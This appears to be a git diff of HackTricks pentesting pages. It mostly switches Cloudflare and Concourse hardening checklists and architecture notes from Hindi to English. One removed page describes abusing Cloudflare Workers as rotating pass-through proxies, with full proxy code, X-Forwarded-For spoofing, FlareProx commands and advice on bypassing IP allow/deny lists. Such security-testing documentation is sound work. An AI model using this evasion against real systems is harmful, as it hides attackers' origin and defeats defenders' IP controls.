- जांचें कि क्या **Managed rules** भी कमजोरियों के शोषण को रोकने में मदद कर सकते हैं।
|
||||
- **Tools** अनुभाग में आप **विशिष्ट IPs** और **उपयोगकर्ता एजेंटों** को **अवरोधित या चुनौती** दे सकते हैं।
|
||||
- DDoS में आप **कुछ नियमों को अधिक प्रतिबंधात्मक बनाने के लिए ओवरराइड** कर सकते हैं।
|
||||
- **Settings**: **Security Level** को **High** पर सेट करें और **Under Attack** पर यदि आप हमले के तहत हैं और **Browser Integrity Check सक्षम** है।
|
||||
- Cloudflare Domains -> Analytics -> Security -> जांचें कि **रेट लिमिट** सक्षम है
|
||||
- Cloudflare Domains -> Security -> Events -> **पाई गई दुर्भावनापूर्ण घटनाओं** की जांच करें
|
||||
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
|
||||
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
|
||||
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
|
||||
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
|
||||
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
|
||||
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
|
||||
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
|
||||
- In DDoS you could **override some rules to make them more restrictive**.
|
||||
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
|
||||
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
|
||||
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
|
||||
|
||||
### Access
|
||||
|
||||
@@ -85,15 +85,15 @@ cloudflare-zero-trust-network.md
|
||||
|
||||
### Speed
|
||||
|
||||
_मैं सुरक्षा से संबंधित कोई विकल्प नहीं ढूंढ सका_
|
||||
_I couldn't find any option related to security_
|
||||
|
||||
### Caching
|
||||
|
||||
- [ ] **`Configuration`** अनुभाग में **CSAM स्कैनिंग टूल** को सक्षम करने पर विचार करें
|
||||
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
|
||||
|
||||
### **Workers Routes**
|
||||
|
||||
_आपको पहले ही [_cloudflare workers_](#workers) की जांच करनी चाहिए_
|
||||
_You should have already checked_ [_cloudflare workers_](#workers)
|
||||
|
||||
### Rules
|
||||
|
||||
@@ -101,9 +101,9 @@ TODO
|
||||
|
||||
### Network
|
||||
|
||||
- [ ] यदि **`HTTP/2`** **सक्रिय** है, तो **`HTTP/2 to Origin`** को **सक्रिय** होना चाहिए
|
||||
- [ ] **`HTTP/3 (with QUIC)`** को **सक्रिय** होना चाहिए
|
||||
- [ ] यदि आपके **उपयोगकर्ताओं** की **गोपनीयता** महत्वपूर्ण है, तो सुनिश्चित करें कि **`Onion Routing`** **सक्रिय** है
|
||||
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
|
||||
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
|
||||
- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
|
||||
|
||||
### **Traffic**
|
||||
|
||||
@@ -111,7 +111,7 @@ TODO
|
||||
|
||||
### Custom Pages
|
||||
|
||||
- [ ] जब सुरक्षा से संबंधित कोई त्रुटि उत्पन्न होती है (जैसे एक ब्लॉक, रेट लिमिटिंग या मैं हमले के तहत हूं) तो कस्टम पृष्ठों को कॉन्फ़िगर करना वैकल्पिक है
|
||||
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
|
||||
|
||||
### Apps
|
||||
|
||||
@@ -119,8 +119,8 @@ TODO
|
||||
|
||||
### Scrape Shield
|
||||
|
||||
- [ ] जांचें कि **Email Address Obfuscation** **सक्रिय** है
|
||||
- [ ] जांचें कि **Server-side Excludes** **सक्रिय** है
|
||||
- [ ] Check **Email Address Obfuscation** is **enabled**
|
||||
- [ ] Check **Server-side Excludes** is **enabled**
|
||||
|
||||
### **Zaraz**
|
||||
|
||||
@@ -131,3 +131,6 @@ TODO
|
||||
TODO
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,286 +0,0 @@
|
||||
# Cloudflare Workers का pass-through proxy के रूप में दुरुपयोग (IP rotation, FireProx-style)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare Workers को ऐसे transparent HTTP pass-through proxies के रूप में deploy किया जा सकता है जहाँ upstream target URL client द्वारा प्रदान किया जाता है। Requests Cloudflare के नेटवर्क से बाहर निकलती हैं इसलिए target क्लाइंट के बजाय Cloudflare IPs को देखता है। यह well-known FireProx technique on AWS API Gateway की नकल करता है, लेकिन यहाँ Cloudflare Workers का उपयोग होता है।
|
||||
|
||||
### मुख्य क्षमताएँ
|
||||
- सभी HTTP methods का समर्थन (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- Target query parameter (?url=...), एक header (X-Target-URL), या path में encode करके (उदा., /https://target) प्रदान किया जा सकता है
|
||||
- Headers और body को जरूरत के अनुसार hop-by-hop/header filtering के साथ proxy किया जाता है
|
||||
- Responses वापस relay की जाती हैं, status code और अधिकतर headers को preserve करते हुए
|
||||
- X-Forwarded-For का वैकल्पिक spoofing (यदि Worker इसे user-controlled header से सेट करता है)
|
||||
- कई Worker endpoints deploy करके और requests को fan-out करके बेहद तेज़/आसान rotation
|
||||
|
||||
### यह कैसे काम करता है (flow)
|
||||
1) Client एक HTTP request भेजता है एक Worker URL (`<name>.<account>.workers.dev` या एक custom domain route) पर।
|
||||
2) Worker target निकालता है या तो query parameter (?url=...), X-Target-URL header, या अगर लागू किया गया हो तो path segment से।
|
||||
3) Worker incoming method, headers, और body को निर्दिष्ट upstream URL पर forward करता है (समस्याग्रस्त headers को filter करते हुए)।
|
||||
4) Upstream response Cloudflare के माध्यम से client को stream की जाती है; origin Cloudflare के egress IPs देखता है।
|
||||
|
||||
### Worker implementation का उदाहरण
|
||||
- Query param, header, या path से target URL पढ़ता है
|
||||
- headers के सुरक्षित subset को कॉपी करके original method/body forward करता है
|
||||
- वैकल्पिक रूप से X-Forwarded-For सेट कर सकता है user-controlled header (X-My-X-Forwarded-For) या किसी random IP का उपयोग करके
|
||||
- permissive CORS जोड़ता है और preflight को handle करता है
|
||||
|
||||
<details>
|
||||
<summary>उदाहरण Worker (JavaScript) — pass-through proxying के लिए</summary>
|
||||
```javascript
|
||||
/**
|
||||
* Minimal Worker pass-through proxy
|
||||
* - Target URL from ?url=, X-Target-URL, or /https://...
|
||||
* - Proxies method/headers/body to upstream; relays response
|
||||
*/
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
|
||||
async function handleRequest(request) {
|
||||
try {
|
||||
const url = new URL(request.url)
|
||||
const targetUrl = getTargetUrl(url, request.headers)
|
||||
|
||||
if (!targetUrl) {
|
||||
return errorJSON('No target URL specified', 400, {
|
||||
usage: {
|
||||
query_param: '?url=https://example.com',
|
||||
header: 'X-Target-URL: https://example.com',
|
||||
path: '/https://example.com'
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
let target
|
||||
try { target = new URL(targetUrl) } catch (e) {
|
||||
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
|
||||
}
|
||||
|
||||
// Forward original query params except control ones
|
||||
const passthru = new URLSearchParams()
|
||||
for (const [k, v] of url.searchParams) {
|
||||
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
|
||||
}
|
||||
if (passthru.toString()) target.search = passthru.toString()
|
||||
|
||||
// Build proxied request
|
||||
const proxyReq = buildProxyRequest(request, target)
|
||||
const upstream = await fetch(proxyReq)
|
||||
|
||||
return buildProxyResponse(upstream, request.method)
|
||||
} catch (error) {
|
||||
return errorJSON('Proxy request failed', 500, {
|
||||
message: error.message,
|
||||
timestamp: new Date().toISOString()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
function getTargetUrl(url, headers) {
|
||||
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
|
||||
if (!t && url.pathname !== '/') {
|
||||
const p = url.pathname.slice(1)
|
||||
if (p.startsWith('http')) t = p
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
function buildProxyRequest(request, target) {
|
||||
const h = new Headers()
|
||||
const allow = [
|
||||
'accept','accept-language','accept-encoding','authorization',
|
||||
'cache-control','content-type','origin','referer','user-agent'
|
||||
]
|
||||
for (const [k, v] of request.headers) {
|
||||
if (allow.includes(k.toLowerCase())) h.set(k, v)
|
||||
}
|
||||
h.set('Host', target.hostname)
|
||||
|
||||
// Optional: spoof X-Forwarded-For if provided
|
||||
const spoof = request.headers.get('X-My-X-Forwarded-For')
|
||||
h.set('X-Forwarded-For', spoof || randomIP())
|
||||
|
||||
return new Request(target.toString(), {
|
||||
method: request.method,
|
||||
headers: h,
|
||||
body: ['GET','HEAD'].includes(request.method) ? null : request.body
|
||||
})
|
||||
}
|
||||
|
||||
function buildProxyResponse(resp, method) {
|
||||
const h = new Headers()
|
||||
for (const [k, v] of resp.headers) {
|
||||
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
|
||||
h.set(k, v)
|
||||
}
|
||||
}
|
||||
// Permissive CORS for tooling convenience
|
||||
h.set('Access-Control-Allow-Origin', '*')
|
||||
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
|
||||
h.set('Access-Control-Allow-Headers', '*')
|
||||
|
||||
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
|
||||
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
|
||||
}
|
||||
|
||||
function errorJSON(msg, status=400, extra={}) {
|
||||
return new Response(JSON.stringify({ error: msg, ...extra }), {
|
||||
status, headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
}
|
||||
|
||||
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
|
||||
```
|
||||
</details>
|
||||
|
||||
### FlareProx के साथ तैनाती और रोटेशन को स्वचालित करना
|
||||
|
||||
FlareProx एक Python tool है जो Cloudflare API का उपयोग करके कई Worker endpoints तैनात करता है और उनके बीच rotate करता है। यह Cloudflare के नेटवर्क से FireProx-जैसी IP rotation प्रदान करता है।
|
||||
|
||||
Setup
|
||||
1) एक Cloudflare API Token बनाइए “Edit Cloudflare Workers” template का उपयोग करके और dashboard से अपना Account ID प्राप्त करें।
|
||||
2) FlareProx को configure करें:
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
cd flareprox
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
**flareprox.json के लिए कॉन्फ़िग फ़ाइल बनाएं:**
|
||||
```json
|
||||
{
|
||||
"cloudflare": {
|
||||
"api_token": "your_cloudflare_api_token",
|
||||
"account_id": "your_cloudflare_account_id"
|
||||
}
|
||||
}
|
||||
```
|
||||
**CLI उपयोग**
|
||||
|
||||
- N Worker proxies बनाएँ:
|
||||
```bash
|
||||
python3 flareprox.py create --count 2
|
||||
```
|
||||
- endpoints की सूची:
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
- हेल्थ-टेस्ट endpoints:
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
- सभी endpoints हटाएँ:
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
**Worker के माध्यम से ट्रैफ़िक रूट करना**
|
||||
- क्वेरी पैरामीटर फ़ॉर्म:
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
- हेडर फॉर्म:
|
||||
```bash
|
||||
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
|
||||
```
|
||||
- पथ रूप (यदि लागू किया गया):
|
||||
```bash
|
||||
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
|
||||
```
|
||||
- विधि के उदाहरण:
|
||||
```bash
|
||||
# GET
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
|
||||
|
||||
# POST (form)
|
||||
curl -X POST -d "username=admin" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
|
||||
|
||||
# PUT (JSON)
|
||||
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
|
||||
|
||||
# DELETE
|
||||
curl -X DELETE \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
|
||||
```
|
||||
**`X-Forwarded-For` नियंत्रण**
|
||||
|
||||
यदि Worker `X-My-X-Forwarded-For` का सम्मान करता है, तो आप upstream `X-Forwarded-For` मान को प्रभावित कर सकते हैं:
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
**प्रोग्रामेटिक उपयोग**
|
||||
|
||||
FlareProx लाइब्रेरी का उपयोग करके endpoints बनाएं/लिस्ट/टेस्ट करें और Python से requests को route करें।
|
||||
|
||||
<details>
|
||||
<summary>Python उदाहरण: किसी random Worker endpoint के माध्यम से POST भेजें</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
import json
|
||||
|
||||
# Initialize
|
||||
flareprox = FlareProx(config_file="flareprox.json")
|
||||
if not flareprox.is_configured:
|
||||
print("FlareProx not configured. Run: python3 flareprox.py config")
|
||||
exit(1)
|
||||
|
||||
# Ensure endpoints exist
|
||||
endpoints = flareprox.sync_endpoints()
|
||||
if not endpoints:
|
||||
print("Creating proxy endpoints...")
|
||||
flareprox.create_proxies(count=2)
|
||||
|
||||
# Make a POST request through a random endpoint
|
||||
try:
|
||||
post_data = json.dumps({
|
||||
"username": "testuser",
|
||||
"message": "Hello from FlareProx!",
|
||||
"timestamp": "2025-01-01T12:00:00Z"
|
||||
})
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "FlareProx-Client/1.0"
|
||||
}
|
||||
|
||||
response = flareprox.redirect_request(
|
||||
target_url="https://httpbin.org/post",
|
||||
method="POST",
|
||||
headers=headers,
|
||||
data=post_data
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
result = response.json()
|
||||
print("✓ POST successful via FlareProx")
|
||||
print(f"Origin IP: {result.get('origin', 'unknown')}")
|
||||
print(f"Posted data: {result.get('json', {})}")
|
||||
else:
|
||||
print(f"Request failed with status: {response.status_code}")
|
||||
|
||||
except FlareProxError as e:
|
||||
print(f"FlareProx error: {e}")
|
||||
except Exception as e:
|
||||
print(f"Request error: {e}")
|
||||
```
|
||||
</details>
|
||||
|
||||
**Burp/Scanner integration**
|
||||
- टूलिंग (उदाहरण के लिए, Burp Suite) को Worker URL की ओर निर्देशित करें।
|
||||
- वास्तविक upstream को ?url= या X-Target-URL का उपयोग करके प्रदान करें।
|
||||
- HTTP semantics (methods/headers/body) बनाए रहते हैं जबकि आपका source IP Cloudflare के पीछे छिपाया जाता है।
|
||||
|
||||
**Operational notes and limits**
|
||||
- Cloudflare Workers Free plan प्रति अकाउंट लगभग 100,000 requests/day की अनुमति देता है; आवश्यकता होने पर ट्रैफ़िक वितरित करने के लिए multiple endpoints का उपयोग करें।
|
||||
- Workers Cloudflare के नेटवर्क पर चलते हैं; कई targets केवल Cloudflare IPs/ASN ही देखेंगे, जो naive IP allow/deny lists या geo heuristics को बाइपास कर सकते हैं।
|
||||
- जिम्मेदारी से उपयोग करें और केवल authorization के साथ। ToS और robots.txt का सम्मान करें।
|
||||
|
||||
## References
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
|
||||
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
|
||||
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -13,8 +13,8 @@ In a **Cloudflare Zero Trust Network** account there are some **settings and ser
|
||||
### **Gateway**
|
||||
|
||||
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
|
||||
- If used, **policies** could be created to **restrict** the access to malicious sites.
|
||||
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
|
||||
- If used, **policies** could be created to **restrict** the access to malicious sites.
|
||||
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
|
||||
|
||||
### Access
|
||||
|
||||
@@ -23,18 +23,18 @@ In a **Cloudflare Zero Trust Network** account there are some **settings and ser
|
||||
On each application:
|
||||
|
||||
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
|
||||
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
|
||||
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
|
||||
- [ ] Check the **available identity providers** and make sure they **aren't too open**
|
||||
- [ ] In **`Settings`**:
|
||||
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
|
||||
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
|
||||
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
|
||||
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
|
||||
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
|
||||
#### **Access Groups**
|
||||
|
||||
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
|
||||
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
|
||||
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
|
||||
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
|
||||
|
||||
#### Service Auth
|
||||
|
||||
@@ -59,3 +59,6 @@ TODO
|
||||
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,11 +4,11 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Concourse आपको **पाइपलाइनों** का निर्माण करने की अनुमति देता है ताकि आप जब भी आवश्यकता हो (समय आधारित, जब कुछ होता है...) परीक्षण, क्रियाएँ और छवियाँ स्वचालित रूप से चला सकें।
|
||||
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
|
||||
|
||||
## Concourse Architecture
|
||||
|
||||
जानें कि concourse वातावरण कैसे संरचित है:
|
||||
Learn how the concourse environment is structured in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-architecture.md
|
||||
@@ -16,7 +16,7 @@ concourse-architecture.md
|
||||
|
||||
## Concourse Lab
|
||||
|
||||
जानें कि आप अपने परीक्षण करने के लिए स्थानीय रूप से concourse वातावरण कैसे चला सकते हैं:
|
||||
Learn how you can run a concourse environment locally to do your own tests in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-lab-creation.md
|
||||
@@ -24,10 +24,13 @@ concourse-lab-creation.md
|
||||
|
||||
## Enumerate & Attack Concourse
|
||||
|
||||
जानें कि आप concourse वातावरण को कैसे सूचीबद्ध कर सकते हैं और इसका दुरुपयोग कैसे कर सकते हैं:
|
||||
Learn how you can enumerate the concourse environment and abuse it in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,35 +4,39 @@
|
||||
|
||||
## Concourse Architecture
|
||||
|
||||
[**Concourse दस्तावेज़ से संबंधित डेटा:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
|
||||
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
### Architecture
|
||||
|
||||
.png>)
|
||||
|
||||
#### ATC: वेब UI और निर्माण शेड्यूलर
|
||||
#### ATC: web UI & build scheduler
|
||||
|
||||
ATC Concourse का दिल है। यह **वेब UI और API** चलाता है और सभी पाइपलाइन **शेड्यूलिंग** के लिए जिम्मेदार है। यह **PostgreSQL** से जुड़ता है, जिसका उपयोग यह पाइपलाइन डेटा (निर्माण लॉग सहित) संग्रहीत करने के लिए करता है।
|
||||
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
|
||||
|
||||
[checker](https://concourse-ci.org/checker.html) की जिम्मेदारी नए संसाधनों के संस्करणों की लगातार जांच करना है। [scheduler](https://concourse-ci.org/scheduler.html) किसी नौकरी के लिए निर्माणों को शेड्यूल करने के लिए जिम्मेदार है और [build tracker](https://concourse-ci.org/build-tracker.html) किसी भी शेड्यूल किए गए निर्माणों को चलाने के लिए जिम्मेदार है। [garbage collector](https://concourse-ci.org/garbage-collector.html) किसी भी अप्रयुक्त या पुरानी वस्तुओं, जैसे कंटेनरों और वॉल्यूम को हटाने के लिए सफाई तंत्र है।
|
||||
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
|
||||
|
||||
#### TSA: कार्यकर्ता पंजीकरण और अग्रेषण
|
||||
#### TSA: worker registration & forwarding
|
||||
|
||||
TSA एक **कस्टम-निर्मित SSH सर्वर** है जिसका उपयोग केवल [**कार्यकर्ताओं**](https://concourse-ci.org/internals.html#architecture-worker) को [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ सुरक्षित रूप से **पंजीकरण** करने के लिए किया जाता है।
|
||||
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
|
||||
TSA **डिफ़ॉल्ट रूप से `2222` पोर्ट पर सुनता है**, और आमतौर पर [ATC](https://concourse-ci.org/internals.html#component-atc) के साथ स्थित होता है और लोड बैलेंसर के पीछे होता है।
|
||||
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
|
||||
|
||||
**TSA SSH कनेक्शन के माध्यम से CLI लागू करता है,** [**इन आदेशों**](https://concourse-ci.org/internals.html#component-tsa) का समर्थन करता है।
|
||||
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
|
||||
#### Workers
|
||||
|
||||
कार्यक्रमों को निष्पादित करने के लिए Concourse के पास कुछ कार्यकर्ता होने चाहिए। ये कार्यकर्ता [TSA](https://concourse-ci.org/internals.html#component-tsa) के माध्यम से **स्वयं को पंजीकृत** करते हैं और सेवाओं [**Garden**](https://github.com/cloudfoundry-incubator/garden) और [**Baggageclaim**](https://github.com/concourse/baggageclaim) को चलाते हैं।
|
||||
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
|
||||
- **Garden**: यह **Container Manage API** है, जो आमतौर पर **HTTP** के माध्यम से **पोर्ट 7777** पर चलता है।
|
||||
- **Baggageclaim**: यह **Volume Management API** है, जो आमतौर पर **HTTP** के माध्यम से **पोर्ट 7788** पर चलता है।
|
||||
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
|
||||
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
|
||||
|
||||
## References
|
||||
|
||||
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -4,47 +4,51 @@
|
||||
|
||||
## Concourse Enumeration & Attacks
|
||||
|
||||
|
||||
|
||||
### User Roles & Permissions
|
||||
|
||||
Concourse में पांच भूमिकाएँ होती हैं:
|
||||
Concourse comes with five roles:
|
||||
|
||||
- _Concourse_ **Admin**: यह भूमिका केवल **मुख्य टीम** (डिफ़ॉल्ट प्रारंभिक concourse टीम) के मालिकों को दी जाती है। एडमिन **अन्य टीमों को कॉन्फ़िगर** कर सकते हैं (जैसे: `fly set-team`, `fly destroy-team`...)। इस भूमिका के अनुमतियों को RBAC द्वारा प्रभावित नहीं किया जा सकता।
|
||||
- **owner**: टीम के मालिक **टीम के भीतर सब कुछ संशोधित** कर सकते हैं।
|
||||
- **member**: टीम के सदस्य **टीम के संसाधनों के भीतर पढ़ सकते हैं और लिख सकते हैं** लेकिन टीम सेटिंग्स को संशोधित नहीं कर सकते।
|
||||
- **pipeline-operator**: पाइपलाइन ऑपरेटर **पाइपलाइन संचालन** कर सकते हैं जैसे कि बिल्ड को ट्रिगर करना और संसाधनों को पिन करना, हालाँकि वे पाइपलाइन कॉन्फ़िगरेशन को अपडेट नहीं कर सकते।
|
||||
- **viewer**: टीम के दर्शकों को टीम और इसके पाइपलाइनों तक **"पढ़ने के लिए केवल"** पहुंच होती है।
|
||||
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
|
||||
- **owner**: Team owners can **modify everything within the team**.
|
||||
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
|
||||
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
|
||||
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
|
||||
|
||||
> [!NOTE]
|
||||
> इसके अलावा, **owner, member, pipeline-operator और viewer की भूमिकाओं के अनुमतियों को RBAC कॉन्फ़िगर करके संशोधित किया जा सकता है** (विशेष रूप से इसके क्रियाओं को कॉन्फ़िगर करना)। इसके बारे में अधिक पढ़ें: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
|
||||
ध्यान दें कि Concourse **टीमों के भीतर पाइपलाइनों को समूहित करता है**। इसलिए, एक टीम से संबंधित उपयोगकर्ता उन पाइपलाइनों का प्रबंधन कर सकेंगे और **कई टीमें** हो सकती हैं। एक उपयोगकर्ता कई टीमों से संबंधित हो सकता है और प्रत्येक में विभिन्न अनुमतियाँ हो सकती हैं।
|
||||
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
|
||||
|
||||
### Vars & Credential Manager
|
||||
|
||||
YAML कॉन्फ़िग्स में आप मानों को `((_source-name_:_secret-path_._secret-field_))` सिंटैक्स का उपयोग करके कॉन्फ़िगर कर सकते हैं।\
|
||||
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) **source-name वैकल्पिक है**, और यदि छोड़ा गया है, तो [क्लस्टर-व्यापी क्रेडेंशियल प्रबंधक](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) का उपयोग किया जाएगा, या मान [स्थैतिक रूप से](https://concourse-ci.org/vars.html#static-vars) प्रदान किया जा सकता है।\
|
||||
**वैकल्पिक \_secret-field**\_ उस प्राप्त किए गए रहस्य पर पढ़ने के लिए एक फ़ील्ड निर्दिष्ट करता है। यदि छोड़ा गया है, तो क्रेडेंशियल प्रबंधक प्राप्त किए गए क्रेडेंशियल से 'डिफ़ॉल्ट फ़ील्ड' पढ़ने का विकल्प चुन सकता है यदि फ़ील्ड मौजूद है।\
|
||||
इसके अलावा, _**secret-path**_ और _**secret-field**_ को डबल कोट्स `"..."` में रखा जा सकता है यदि वे **विशेष वर्ण** जैसे `.` और `:` शामिल करते हैं। उदाहरण के लिए, `((source:"my.secret"."field:1"))` _secret-path_ को `my.secret` और _secret-field_ को `field:1` पर सेट करेगा।
|
||||
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
|
||||
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
|
